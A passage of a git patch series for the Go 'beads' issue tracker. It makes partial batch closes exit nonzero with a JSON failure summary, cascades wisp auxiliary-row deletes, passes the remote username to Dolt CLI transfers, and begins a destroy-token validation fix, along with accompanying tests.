// roll it back, so suppressing the report would not un-claim anything — + // it would only leave an issue assigned to this actor with nothing on + // stdout or stderr saying so. The claim is announced here and named + // again in reportCloseFailures' summary, so a caller that exits on the + // nonzero status can still see what it owns. Retrying the same command + // does not stack claims: the survivor is already closed the second time + // round, nothing lands, and an empty batch earns no claim. var claimedNextIssue *types.Issue if claimNext && closedForCommand && !continueFlag { if claimedNext != nil { @@ -370,6 +388,9 @@ the flags appear in the command line.`, } totalAttempted := len(resolvedIDs) + if len(failures) > 0 { + return reportCloseFailures(failures, totalAttempted, closeClaimedID(claimedNextIssue), jsonOutput) + } if totalAttempted > 0 && closedCount == 0 && alreadyClosed == 0 { return SilentExit() } @@ -377,6 +398,88 @@ the flags appear in the command line.`, }, } +// closeIDFailure records one issue id a batch close refused, and why. It +// mirrors updateIDFailure (update.go) on purpose: `bd close` and `bd update` +// are the two write verbs that take a list of ids, so a caller that learned to +// read one partial-failure report should not have to learn a second shape. +type closeIDFailure struct { + ID string `json:"id"` + Error string `json:"error"` +} + +// closeClaimedID names the issue --claim-next claimed on this run, or "" when +// the run claimed nothing. +func closeClaimedID(claimed *types.Issue) string { + if claimed == nil { + return "" + } + return claimed.ID +} + +// reportCloseFailures emits the partial-failure summary both close routes end +// on and returns the nonzero exit that #6648 added. Every refusal has already +// been printed inline, in the order the ids were typed; this is the summary +// that says how much of the batch was left open. +// +// Both routes report through here so the wording and the JSON shape are stated +// once instead of hand-rolled per route. Each route still passes its own +// denominator, because only it knows what it attempted — the direct route +// counts resolved ids, the proxied one counts arguments. +// +// The summary is suppressed for a single-id batch deliberately: one inline +// refusal is already unambiguous about which id failed, and suppressing it +// keeps single-id stderr byte-identical to what it was before close learned to +// fail a partial batch. +// +// In --json mode the summary is one compact JSON line on stderr — the shape +// reportUpdateFailures established — so a consumer that sees exit 1 can read +// WHICH ids failed instead of scraping English prose, while stdout keeps the +// plain closed-issues array a successful close emits. claimedNextID names the +// issue --claim-next claimed on this run, if any: that claim is committed +// inside the batch's own transaction and a sibling's refusal does not roll it +// back, so the report names it rather than pretending it did not happen. +func reportCloseFailures(failures []closeIDFailure, total int, claimedNextID string, jsonOut bool) error { + if total <= 1 { + return SilentExit() + } + msg := fmt.Sprintf("%d of %d issues failed to close", len(failures), total) + + if !jsonOut { + fmt.Fprintf(os.Stderr, "Error: %s\n", msg) + if claimedNextID != "" { + fmt.Fprintf(os.Stderr, "Note: --claim-next already claimed %s; it stays assigned to you.\n", claimedNextID) + } + return SilentExit() + } + + inner := map[string]interface{}{ + "error": msg, + "failed": failures, + } + if claimedNextID != "" { + inner["claimed"] = claimedNextID + } + var payload interface{} + if jsonEnvelopeEnabled() { + payload = map[string]interface{}{ + "schema_version": JSONSchemaVersion, + "data": inner, + } + } else { + inner["schema_version"] = JSONSchemaVersion + payload = inner + } + data, err := json.Marshal(payload) + if err != nil { + // Marshaling flat strings cannot realistically fail; fall back to the + // text summary rather than exiting with nothing said at all. + fmt.Fprintf(os.Stderr, "Error: %s\n", msg) + } else { + fmt.Fprintln(os.Stderr, string(data)) + } + return SilentExit() +} + func init() { registerCloseReasonFlag(closeCmd) closeCmd.Flags().String("resolution", "", "Alias for --reason (Jira CLI convention)") diff --git a/cmd/bd/close_embedded_test.go b/cmd/bd/close_embedded_test.go index 4f5614338..f5fc349dd 100644 --- a/cmd/bd/close_embedded_test.go +++ b/cmd/bd/close_embedded_test.go @@ -113,6 +113,84 @@ func TestEmbeddedClose(t *testing.T) { } }) + // A batch still closes the IDs it can close, but a caller must receive a + // nonzero exit when any sibling was refused. Otherwise an orchestrator can + // record the whole batch as complete while a blocked issue remains open. + t.Run("mixed_batch_refusal_exits_nonzero_after_closing_survivor", func(t *testing.T) { + blocker := bdCreate(t, bd, dir, "Mixed batch blocker", "--type", "task") + blocked := bdCreate(t, bd, dir, "Mixed batch blocked", "--type", "task") + closable := bdCreate(t, bd, dir, "Mixed batch closable", "--type", "task") + bdDepAdd(t, bd, dir, blocked.ID, blocker.ID) + + out := bdCloseFail(t, bd, dir, closable.ID, blocked.ID) + if !strings.Contains(out, "1 of 2 issues failed to close") { + t.Errorf("expected partial-close summary, got: %s", out) + } + if got := bdShow(t, bd, dir, closable.ID); got.Status != types.StatusClosed { + t.Errorf("closable issue status = %s, want closed", got.Status) + } + if got := bdShow(t, bd, dir, blocked.ID); got.Status != types.StatusOpen { + t.Errorf("blocked issue status = %s, want open", got.Status) + } + }) + + // The --claim-next × partial-failure interaction, adjudicated rather than + // left implicit (#6648). --claim-next rides inside the batch transaction + // and fires whenever something LANDED, so a mixed batch claims and then + // exits 1. The claim is durable — the refused sibling does not roll it back + // — so the contract pinned here is "the claim stands and the failure + // summary names it", NOT "the claim is silently suppressed": suppressing + // only the report would leave an issue assigned to this actor with nothing + // saying so, which is strictly worse than announcing it. + // + // Its own project, because the assertion depends on exactly which issue is + // ready at claim time: once `closable` closes, `blocker` is the only ready + // issue left (`blocked` still depends on it), so the claim is deterministic. + t.Run("mixed_batch_claim_next_names_the_claim_it_kept", func(t *testing.T) { + kdir, _, _ := bdInit(t, bd, "--prefix", "kn") + closable := bdCreate(t, bd, kdir, "Claim-next batch closable", "--type", "task") + blocker := bdCreate(t, bd, kdir, "Claim-next batch blocker", "--type", "task") + blocked := bdCreate(t, bd, kdir, "Claim-next batch blocked", "--type", "task") + bdDepAdd(t, bd, kdir, blocked.ID, blocker.ID) + + out := bdCloseFail(t, bd, kdir, closable.ID, blocked.ID, "--claim-next") + if !strings.Contains(out, "1 of 2 issues failed to close") { + t.Errorf("expected the partial-close summary, got: %s", out) + } + if !strings.Contains(out, "already claimed "+blocker.ID) { + t.Errorf("expected the failure summary to name the claim it kept (%s), got: %s", blocker.ID, out) + } + if got := bdShow(t, bd, kdir, closable.ID); got.Status != types.StatusClosed { + t.Errorf("closable issue status = %s, want closed", got.Status) + } + if got := bdShow(t, bd, kdir, blocked.ID); got.Status != types.StatusOpen { + t.Errorf("blocked issue status = %s, want open", got.Status) + } + // The claim really landed: the report is not describing a claim that + // was rolled back with the refusal. + if got := bdShow(t, bd, kdir, blocker.ID); got.Assignee == "" { + t.Errorf("claimed issue %s assignee = %q, want it assigned: the claim commits inside the batch transaction and the refused sibling does not undo it", + blocker.ID, got.Assignee) + } + + // And retrying does NOT stack a second claim, which is what makes + // keeping the first one safe. `closable` is already closed on the way + // back through, so the batch lands nothing and an empty batch earns no + // claim (see the already-closed re-close subtest below). `spare` is + // created only now, so it is the one ready issue a repeat claim could + // take — without it this assertion would pass vacuously, since the + // first run left nothing else ready. + spare := bdCreate(t, bd, kdir, "Claim-next batch spare", "--type", "task") + out = bdCloseFail(t, bd, kdir, closable.ID, blocked.ID, "--claim-next") + if strings.Contains(out, "already claimed "+spare.ID) { + t.Errorf("a retry claimed %s as well, got: %s", spare.ID, out) + } + if got := bdShow(t, bd, kdir, spare.ID); got.Assignee != "" { + t.Errorf("retrying the same failed batch claimed a second issue (%s assignee = %q); the leak must be bounded at the one claim the first run earned", + spare.ID, got.Assignee) + } + }) + // Proves the S7 delegation: `bd close` on a blocked issue now surfaces the // engine's atomic guard (storage.ErrCloseBlocked) rather than a duplicated // CLI pre-check. The refusal must be atomic — the issue stays open because the diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 6791a0ec9..74038e62b 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -42,6 +42,19 @@ func bdProxiedCloseFail(t *testing.T, bd, dir string, args ...string) string { return stdout + stderr } +// lastJSONObjectLine returns the last line of s that looks like a compact JSON +// object, or "". Partial-failure stderr is the per-id refusal prose followed by +// the machine-readable summary, so the report is the last such line. +func lastJSONObjectLine(s string) string { + lines := strings.Split(strings.TrimSpace(s), "\n") + for i := len(lines) - 1; i >= 0; i-- { + if line := strings.TrimSpace(lines[i]); strings.HasPrefix(line, "{") { + return line + } + } + return "" +} + func bdProxiedCloseJSON(t *testing.T, bd, dir string, args ...string) []*types.Issue { t.Helper() fullArgs := append([]string{"close", "--json"}, args...) @@ -363,6 +376,81 @@ func TestProxiedServerClose(t *testing.T) { } }) + t.Run("close_partial_failure_exits_nonzero", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "cpf") + closable := bdProxiedCreate(t, bd, p.dir, "Closable") + blocker := bdProxiedCreate(t, bd, p.dir, "Blocker") + blocked := bdProxiedCreate(t, bd, p.dir, "Blocked", "--deps", "depends-on:"+blocker.ID) + out := bdProxiedCloseFail(t, bd, p.dir, closable.ID, blocked.ID) + if !strings.Contains(out, "1 of 2 issues failed to close") { + t.Errorf("expected partial-failure summary, got: %s", out) + } + db := openProxiedDB(t, p) + if got := readStatus(t, db, closable.ID); got != types.StatusClosed { + t.Errorf("closable issue status = %q, want closed despite the refused sibling", got) + } + if got := readStatus(t, db, blocked.ID); got == types.StatusClosed { + t.Error("blocked issue should remain open without --force") + } + }) + + // The machine-readable half of the #6648 contract. A JSON consumer is + // exactly the caller the issue was filed for, so exit 1 must come with a + // payload naming the failed ids instead of prose it would have to scrape — + // while stdout keeps the success-shaped closed-issues array, the way + // bd update's reportUpdateFailures already splits them. + t.Run("close_partial_failure_json_names_the_failed_ids", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "cpj") + closable := bdProxiedCreate(t, bd, p.dir, "JSON closable") + blocker := bdProxiedCreate(t, bd, p.dir, "JSON blocker") + blocked := bdProxiedCreate(t, bd, p.dir, "JSON blocked", "--deps", "depends-on:"+blocker.ID) + + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "close", "--json", closable.ID, blocked.ID) + if err == nil { + t.Fatalf("expected a partial batch close to exit nonzero\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + + // stdout keeps the success shape: just the survivor. + start := strings.Index(stdout, "[") + if start < 0 { + t.Fatalf("expected the closed-issues array on stdout, got:\n%s", stdout) + } + var closed []*types.Issue + if jsonErr := json.Unmarshal([]byte(stdout[start:]), &closed); jsonErr != nil { + t.Fatalf("parse closed array: %v\nraw: %s", jsonErr, stdout[start:]) + } + if len(closed) != 1 || closed[0].ID != closable.ID { + t.Fatalf("stdout closed array = %d issue(s) %v, want only the survivor %s", len(closed), closed, closable.ID) + } + + // stderr's last line is the failure report. + line := lastJSONObjectLine(stderr) + if line == "" { + t.Fatalf("expected a compact JSON failure line on stderr, got:\n%s", stderr) + } + var report struct { + Error string `json:"error"` + Failed []struct { + ID string `json:"id"` + Error string `json:"error"` + } `json:"failed"` + } + if jsonErr := json.Unmarshal([]byte(line), &report); jsonErr != nil { + t.Fatalf("parse failure report: %v\nraw: %s", jsonErr, line) + } + if report.Error != "1 of 2 issues failed to close" { + t.Errorf("failure report error = %q, want the N of M summary", report.Error) + } + if len(report.Failed) != 1 || report.Failed[0].ID != blocked.ID { + t.Fatalf("failure report named %+v, want exactly the refused id %s", report.Failed, blocked.ID) + } + if report.Failed[0].Error == "" { + t.Errorf("failure report for %s carried no reason", blocked.ID) + } + }) + t.Run("close_pinned_refuses_without_force", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "cpr") diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index 5fc9d268c..5ead731e8 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -122,9 +122,13 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin outcomes, closeReasons := closeProxiedOutcomes(&pre, result) post := closeProxiedRunPostClose(ctx, args, in, outcomes) - for _, e := range pre.errors { + // pre.errors is indexed by argument position, so args[i] is the id this + // refusal belongs to. + var failures []closeIDFailure + for i, e := range pre.errors { if e != "" { fmt.Fprintln(os.Stderr, e) + failures = append(failures, closeIDFailure{ID: args[i], Error: e}) } } for _, w := range post.warnings { @@ -182,6 +186,9 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin } } + if len(failures) > 0 { + return reportCloseFailures(failures, len(args), closeClaimedID(claimedNextIssue), in.jsonOut) + } if len(args) > 0 && len(outcomes) == 0 { return SilentExit() } diff --git a/cmd/bd/protocol/exit_codes_test.go b/cmd/bd/protocol/exit_codes_test.go index b07870ead..abaf6bddd 100644 --- a/cmd/bd/protocol/exit_codes_test.go +++ b/cmd/bd/protocol/exit_codes_test.go @@ -41,11 +41,10 @@ func TestProtocol_UpdateNonexistentExitsNonZero(t *testing.T) { } } -// TestProtocol_ClosePartialFailureExitsZero verifies that when closing +// TestProtocol_ClosePartialFailureExitsNonZero verifies that when closing // multiple issues where some succeed and some fail (e.g., blocked), the -// command exits zero (partial success counts as success) and still closes -// the closeable ones. -func TestProtocol_ClosePartialFailureExitsZero(t *testing.T) { +// command exits non-zero and still closes the closeable ones. +func TestProtocol_ClosePartialFailureExitsNonZero(t *testing.T) { t.Parallel() w := newWorkspace(t) @@ -54,9 +53,11 @@ func TestProtocol_ClosePartialFailureExitsZero(t *testing.T) { blocked := w.create("Blocked issue") w.run("dep", "add", blocked, blocker, "--type=blocks") - // Close both: closeable should succeed, blocked should fail. - // Partial success (closedCount > 0) exits 0. - w.run("close", closeable, blocked) + // Close both: closeable should succeed, blocked should fail, and the + // refusal makes the batch exit 1. + if _, code := w.runExpectError("close", closeable, blocked); code != 1 { + t.Errorf("expected exit code 1, got %d", code) + } // Verify the closeable one was actually closed despite partial failure out := w.run("show", closeable, "--json") diff --git a/cmd/bd/write_verbs_parity_test.go b/cmd/bd/write_verbs_parity_test.go index 6a339cb15..7404070b0 100644 --- a/cmd/bd/write_verbs_parity_test.go +++ b/cmd/bd/write_verbs_parity_test.go @@ -28,7 +28,9 @@ // flips one, the assertion is updated IN THAT COMMIT with a comment naming the // ruling. Any OTHER assertion in this file changing is a regression, not a // refactor. All four have now landed; every remaining assertion is unchanged -// from the pre-rewire CLI and must stay that way. +// from the pre-rewire CLI and must stay that way. Waiver: the close exit-code +// contract (#6648: partial batch failure exits nonzero) intentionally flips +// the TestParityClose* assertions that pinned exit 0. // // Harness: the commands' RunE functions are invoked in-process against a real // storage.DoltStorage, with stdout/stderr captured and the returned error @@ -1584,11 +1586,10 @@ func TestParityCloseNoIDAndNoLastTouchedExits1(t *testing.T) { } } -// TestParityClosePartialFailureExitsZero pins the close exit contract's -// permissive half (cmd/bd/close.go:377-380): as long as ONE id settled as -// closed, a batch with refused ids still exits 0. The refusal is reported on -// stderr only. -func TestParityClosePartialFailureExitsZero(t *testing.T) { +// TestParityClosePartialFailureExitsOne pins that a batch with a refused id +// exits 1 even when other ids closed: the refusal and an `N of M issues failed +// to close` summary go to stderr, and the closable ids still close. +func TestParityClosePartialFailureExitsOne(t *testing.T) { env := newParityEnv(t) env.seed("test-cls4", "Closable", nil) env.seed("test-cls5", "Owned by another actor", func(i *types.Issue) { @@ -1598,11 +1599,11 @@ func TestParityClosePartialFailureExitsZero(t *testing.T) { env.setFlags(closeCmd, nil) res := env.run(closeCmd, "test-cls4", "test-cls5") - if res.exitCode != 0 { - t.Fatalf("exit = %d, want 0 (partial failure is still success today)\nstderr:\n%s", res.exitCode, res.stderr) + if res.exitCode != 1 { + t.Fatalf("exit = %d, want 1 (a refused id fails the batch)\nstderr:\n%s", res.exitCode, res.stderr) } wantErr := fmt.Sprintf("cannot close %s: assignee is %q, actor is %q; reclaim or use --force to override\n", - "test-cls5", "someone-else", actor) + "test-cls5", "someone-else", actor) + "Error: 1 of 2 issues failed to close\n" if res.stderr != wantErr { t.Errorf("stderr = %q, want %q", res.stderr, wantErr) } @@ -1620,7 +1621,7 @@ func TestParityClosePartialFailureExitsZero(t *testing.T) { // TestParityCloseNothingSettledExits1 pins the strict half of the same // contract: when NO id settled as closed, close returns SilentExit() — exit 1 -// with no extra stdout. Source: cmd/bd/close.go:377-380 and +// with no extra stdout. Source: cmd/bd/close.go:382-384 and // cmd/bd/errors.go:119-121. func TestParityCloseNothingSettledExits1(t *testing.T) { env := newParityEnv(t) @@ -1640,6 +1641,12 @@ func TestParityCloseNothingSettledExits1(t *testing.T) { if res.stdout != "" { t.Errorf("stdout = %q, want empty (SilentExit prints nothing itself)", res.stdout) } + // The batch summary is multi-id ONLY. A single refused id already names + // itself on stderr, so adding `N of M issues failed to close` to it would + // be noise — and this is the sole assertion pinning that suppression. + if strings.Contains(res.stderr, "issues failed to close") { + t.Errorf("stderr = %q, want no batch summary for a single id", res.stderr) + } if got := env.lastTouched(); got != "" { t.Errorf("last-touched = %q, want it untouched when nothing settled", got) } From 3ba08dba1cd3e23e55f70109a2b3c703cb1e76d4 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 13:58:55 -0700 Subject: [PATCH 109/624] fix(storage): cascade wisp aux rows in the shared wisp delete path (#6487) (#6627) deleteIssueRowInTx, behind Transaction.DeleteIssue (bd mol burn) and DeleteResolvedSetInTx, removed only the wisps row and the dependencies edges, so on stores lacking the wisp aux FKs every deleted wisp orphaned its wisp_labels, wisp_events, wisp_comments and wisp_child_counters rows. #5343 fixed only the DoltStore wisp GC paths. Move the aux table list and delete into issueops.DeleteWispAuxRowsInTx, call it from deleteIssueRowInTx, and have the DoltStore paths use the same helper so the table set cannot drift. Forward-fix only: cleaning existing orphans needs a batched backfill and is left to a follow-up. Sibling of #6563 (wisp_dependencies). Co-authored-by: Claude Sonnet 5 --- ...wisp_delete_cascade_tx_integration_test.go | 61 +++++++++++++++++++ internal/storage/dolt/wisps.go | 38 +----------- internal/storage/issueops/delete.go | 37 +++++++++++ .../issueops/journal_completeness_test.go | 1 + 4 files changed, 101 insertions(+), 36 deletions(-) create mode 100644 internal/storage/dolt/wisp_delete_cascade_tx_integration_test.go diff --git a/internal/storage/dolt/wisp_delete_cascade_tx_integration_test.go b/internal/storage/dolt/wisp_delete_cascade_tx_integration_test.go new file mode 100644 index 000000000..6a51bf8ae --- /dev/null +++ b/internal/storage/dolt/wisp_delete_cascade_tx_integration_test.go @@ -0,0 +1,61 @@ +//go:build integration && !windows + +package dolt + +import ( + "context" + "database/sql" + "fmt" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" +) + +// TestWispDeleteCascade_TransactionDeleteIssue covers the delete path #5343 +// left uncovered: Transaction.DeleteIssue (what `bd mol burn` uses) goes +// through issueops.DeleteIssueInTx -> deleteIssueRowInTx rather than +// deleteWisp/deleteWispBatchTx, and removed only the wisps row and the +// dependencies edges. On stores without the wisp aux FKs (dropped by +// setupWispCascadeStore) every burned wisp orphaned its wisp_labels, +// wisp_events, wisp_comments and wisp_child_counters rows (#6487). +func TestWispDeleteCascade_TransactionDeleteIssue(t *testing.T) { + store := setupWispCascadeStore(t) + ctx, cancel := context.WithTimeout(context.Background(), time.Minute) + defer cancel() + + wisp := createTestWisp(t, ctx, store, "tx-delete wisp") + other := createTestWisp(t, ctx, store, "tx-delete bystander wisp") + seedWispAuxRows(t, ctx, store.db, wisp.ID) + seedWispAuxRows(t, ctx, store.db, other.ID) + bystanderBefore := make([]int, len(wispAuxTables)) + for i, tc := range wispAuxTables { + bystanderBefore[i] = countWispAuxRows(t, ctx, store.db, tc.table, tc.column, other.ID) + } + + if err := store.RunInTransaction(ctx, "test: burn wisp", func(tx storage.Transaction) error { + return tx.DeleteIssue(ctx, wisp.ID) + }); err != nil { + t.Fatalf("Transaction.DeleteIssue: %v", err) + } + + assertWispAuxRowsGone(t, ctx, store.db, wisp.ID) + + // The delete must be scoped to the deleted wisp: a bystander's rows stay. + for i, tc := range wispAuxTables { + if got := countWispAuxRows(t, ctx, store.db, tc.table, tc.column, other.ID); got != bystanderBefore[i] { + t.Errorf("bystander wisp %s: %s rows changed from %d to %d", other.ID, tc.table, bystanderBefore[i], got) + } + } +} + +func countWispAuxRows(t *testing.T, ctx context.Context, db *sql.DB, table, column, id string) int { + t.Helper() + var count int + //nolint:gosec // G201: table/column come from the fixed wispAuxTables literal, not input. + q := fmt.Sprintf("SELECT COUNT(*) FROM %s WHERE %s = ?", table, column) + if err := db.QueryRowContext(ctx, q, id).Scan(&count); err != nil { + t.Fatalf("count %s: %v", table, err) + } + return count +} diff --git a/internal/storage/dolt/wisps.go b/internal/storage/dolt/wisps.go index 3cd08ab0a..d49f21725 100644 --- a/internal/storage/dolt/wisps.go +++ b/internal/storage/dolt/wisps.go @@ -294,40 +294,6 @@ func (s *DoltStore) closeWispChecked(ctx context.Context, id string, actor strin return storage.CloseIssueResult{Unchanged: res.AlreadyClosed, OpenChildren: res.OpenChildren}, nil } -// wispAuxCascadeTables lists the wisp auxiliary tables a wisp delete must -// also clean up, mirroring internal/storage/schema/cli_migrations.go:300-315. -// wisp_child_counters is keyed on parent_id (a wisp can be a parent whose -// children hold the counter row); the other three are keyed on issue_id. -// Some deployed stores enforce this via FK ON DELETE CASCADE and some do not -// (be-zdqyl: the migration adding those FKs was never promoted out of -// migrations/ignored/), so the delete paths below must not rely on the -// database to do it for them. -var wispAuxCascadeTables = []struct{ table, column string }{ - {"wisp_labels", "issue_id"}, - {"wisp_events", "issue_id"}, - {"wisp_comments", "issue_id"}, - {"wisp_child_counters", "parent_id"}, -} - -// deleteWispAuxRowsInTx removes every row the given wisp ids own across -// wispAuxCascadeTables. Shared by deleteWisp and deleteWispBatchTx so the -// table set cannot drift between the two paths. -func deleteWispAuxRowsInTx(ctx context.Context, tx *sql.Tx, ids []string) error { - if len(ids) == 0 { - return nil - } - inClause, args := doltBuildSQLInClause(ids) - for _, aux := range wispAuxCascadeTables { - //nolint:gosec // G201: aux.table/aux.column come from the fixed wispAuxCascadeTables literal; inClause contains only ? markers - if _, err := tx.ExecContext(ctx, - fmt.Sprintf("DELETE FROM %s WHERE %s IN (%s)", aux.table, aux.column, inClause), - args...); err != nil { - return fmt.Errorf("delete wisp aux rows from %s: %w", aux.table, err) - } - } - return nil -} - // deleteWisp permanently removes a wisp and its related data. func (s *DoltStore) deleteWisp(ctx context.Context, id string) error { tx, err := s.db.BeginTx(ctx, nil) @@ -374,7 +340,7 @@ func (s *DoltStore) deleteWisp(ctx context.Context, id string) error { return err } - if err := deleteWispAuxRowsInTx(ctx, tx, []string{id}); err != nil { + if err := issueops.DeleteWispAuxRowsInTx(ctx, tx, []string{id}); err != nil { return fmt.Errorf("delete wisp aux rows for %s: %w", id, err) } @@ -475,7 +441,7 @@ func (s *DoltStore) deleteWispBatchTx(ctx context.Context, ids []string) (int, e return 0, err } - if err := deleteWispAuxRowsInTx(ctx, tx, ids); err != nil { + if err := issueops.DeleteWispAuxRowsInTx(ctx, tx, ids); err != nil { return 0, fmt.Errorf("delete wisp aux rows: %w", err) } diff --git a/internal/storage/issueops/delete.go b/internal/storage/issueops/delete.go index f8ed23ad5..09105789c 100644 --- a/internal/storage/issueops/delete.go +++ b/internal/storage/issueops/delete.go @@ -84,6 +84,9 @@ func deleteIssueRowInTx(ctx context.Context, tx *sql.Tx, id string, isWisp bool, if err := DeleteWispFromDependenciesInTx(ctx, tx, id); err != nil { return err } + if err := DeleteWispAuxRowsInTx(ctx, tx, []string{id}); err != nil { + return err + } } else if err := DeleteLeaseInTx(ctx, tx, id); err != nil { // A deleted issue holds no lease. return err @@ -91,6 +94,40 @@ func deleteIssueRowInTx(ctx context.Context, tx *sql.Tx, id string, isWisp bool, return nil } +// wispAuxCascadeTables lists the wisp auxiliary tables a wisp delete must also +// clean up, mirroring internal/storage/schema/cli_migrations.go:300-315. +// wisp_child_counters is keyed on parent_id (a wisp can be a parent whose +// children hold the counter row); the other three are keyed on issue_id. +// Some deployed stores enforce this via FK ON DELETE CASCADE and some do not +// (be-zdqyl: the migration adding those FKs was never promoted out of +// migrations/ignored/), so the delete paths must not rely on the database to +// do it for them. wisp_dependencies is cleaned by DeleteWisp(s)FromDependenciesInTx. +var wispAuxCascadeTables = []struct{ table, column string }{ + {"wisp_labels", "issue_id"}, + {"wisp_events", "issue_id"}, + {"wisp_comments", "issue_id"}, + {"wisp_child_counters", "parent_id"}, +} + +// DeleteWispAuxRowsInTx removes every row the given wisp ids own across +// wispAuxCascadeTables. Shared by every wisp delete path (the DoltStore wisp +// GC paths and deleteIssueRowInTx) so the table set cannot drift between them. +func DeleteWispAuxRowsInTx(ctx context.Context, tx *sql.Tx, wispIDs []string) error { + if len(wispIDs) == 0 { + return nil + } + inClause, args := buildSQLInClause(wispIDs) + for _, aux := range wispAuxCascadeTables { + //nolint:gosec // G201: aux.table/aux.column come from the fixed wispAuxCascadeTables literal; inClause contains only ? placeholders + if _, err := tx.ExecContext(ctx, + fmt.Sprintf("DELETE FROM %s WHERE %s IN (%s)", aux.table, aux.column, inClause), + args...); err != nil { + return fmt.Errorf("delete wisp aux rows from %s: %w", aux.table, err) + } + } + return nil +} + // DeletionSet is the EXACT set of rows one delete removes, split by the plane // each row lives in. // diff --git a/internal/storage/issueops/journal_completeness_test.go b/internal/storage/issueops/journal_completeness_test.go index 9e28558cd..d14458524 100644 --- a/internal/storage/issueops/journal_completeness_test.go +++ b/internal/storage/issueops/journal_completeness_test.go @@ -170,6 +170,7 @@ var beadDMLExemptions = map[string]string{ "RetargetInboundDependenciesToIssueInTx": "rewrites dep rows during promote; PromoteFromEphemeralInTx journals it", "DeleteWispFromDependenciesInTx": "cleans up dep rows during a delete that journals the delete", "DeleteWispsFromDependenciesInTx": "cleans up dep rows during a delete that journals the delete", + "DeleteWispAuxRowsInTx": "cleans up wisp label/event/comment/counter rows during a delete that journals the delete", // (4) compaction maintenance — a lossy content rewrite outside the // create/update/close/delete/dep/label op vocabulary. Carried from the From 328b9272707b901c5a2e90d35793acfc0b8763ee Mon Sep 17 00:00:00 2001 From: Raphael Sobik Date: Sat, 26 Sep 2026 23:01:20 +0200 Subject: [PATCH 110/624] fix(dolt): pass remote user to CLI transfers (#6554) Authenticated server-mode remotes route through the Dolt CLI, but the subprocess only received DOLT_REMOTE_USER in its environment. Dolt requires the username as --user and otherwise authenticates as root. Insert --user after the transfer subcommand for fetch, pull, and push while keeping the password environment-only. Add regression coverage for authenticated and credential-free commands. Refs #5080 Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Raphael Sobik --- internal/storage/dolt/credentials_test.go | 52 +++++++++++++++++++++++ internal/storage/dolt/store.go | 3 ++ 2 files changed, 55 insertions(+) diff --git a/internal/storage/dolt/credentials_test.go b/internal/storage/dolt/credentials_test.go index f276da172..f585fe418 100644 --- a/internal/storage/dolt/credentials_test.go +++ b/internal/storage/dolt/credentials_test.go @@ -7,6 +7,7 @@ import ( "os/exec" "path/filepath" "runtime" + "slices" "strings" "testing" "time" @@ -100,6 +101,57 @@ func TestPrepareDoltCLITransferCommandAppliesCredentialsAndS3Env(t *testing.T) { } } +func TestPrepareDoltCLITransferCommandAddsRemoteUserFlag(t *testing.T) { + tests := []struct { + name string + creds *remoteCredentials + args []string + want []string + }{ + { + name: "fetch", + creds: &remoteCredentials{username: "alice", password: "secret"}, + args: []string{"fetch", "peer"}, + want: []string{"dolt", "fetch", "--user", "alice", "peer"}, + }, + { + name: "pull", + creds: &remoteCredentials{username: "alice", password: "secret"}, + args: []string{"pull", "peer", "main"}, + want: []string{"dolt", "pull", "--user", "alice", "peer", "main"}, + }, + { + name: "push preserves flags", + creds: &remoteCredentials{username: "alice", password: "secret"}, + args: []string{"push", "--force", "peer", "main"}, + want: []string{"dolt", "push", "--user", "alice", "--force", "peer", "main"}, + }, + { + name: "no credentials", + creds: nil, + args: []string{"fetch", "peer"}, + want: []string{"dolt", "fetch", "peer"}, + }, + { + name: "password only", + creds: &remoteCredentials{password: "secret"}, + args: []string{"fetch", "peer"}, + want: []string{"dolt", "fetch", "peer"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + cmd, _, cancel := prepareDoltCLITransferCommand(context.Background(), t.TempDir(), tt.creds, false, tt.args...) + defer cancel() + + if got := cmd.Args; !slices.Equal(got, tt.want) { + t.Fatalf("command args = %q, want %q", got, tt.want) + } + }) + } +} + func TestApplyNoGitHooksToCmd(t *testing.T) { cmd := exec.Command("dolt", "push") // #nosec G204 -- test command is not executed applyNoGitHooksToCmd(cmd) diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 1239dc892..0581bcbc9 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -3913,6 +3913,9 @@ func (s *DoltStore) prepareDoltCLITransfer(ctx context.Context, remote string, c func prepareDoltCLITransferCommand(ctx context.Context, cliDir string, creds *remoteCredentials, s3Remote bool, args ...string) (*exec.Cmd, context.Context, context.CancelFunc) { ctx, cancel := withCLIExecTimeout(ctx) + if len(args) > 0 && creds != nil && creds.username != "" { + args = append([]string{args[0], "--user", creds.username}, args[1:]...) + } cmd := exec.CommandContext(ctx, "dolt", args...) // #nosec G204 -- fixed command with validated remote/ref args // CommandContext kills only the direct dolt child on expiry; a grandchild // (e.g. a cloud credential helper) holding the inherited output pipes From 991e5e3aa44b583452ad8f3256831bba9cbd21d2 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 14:04:45 -0700 Subject: [PATCH 111/624] fix(init): validate a supplied destroy-token even when interactive (#6480) (#6639) * fix(init): validate a supplied destroy-token even when interactive CheckRemoteSafety only compared --destroy-token for non-interactive callers. handleRemoteSafetyDecision only shows the typed-confirmation prompt when no token was supplied. An interactive `bd init --discard-remote --destroy-token=WRONG` therefore satisfied neither guard and discarded remote Dolt history with no confirmation. Validate any non-empty token regardless of interactivity; an absent token still defers to the TTY prompt. Adds guard-matrix cases for the interactive wrong-token, token-without-expected, matching-token and no-token paths. Fixes #6480 Co-Authored-By: Claude Sonnet 5 * review: distinguish a wrong destroy-token from a missing one Maintainer fixup for the #6639 review (iteration 1: no blockers, no 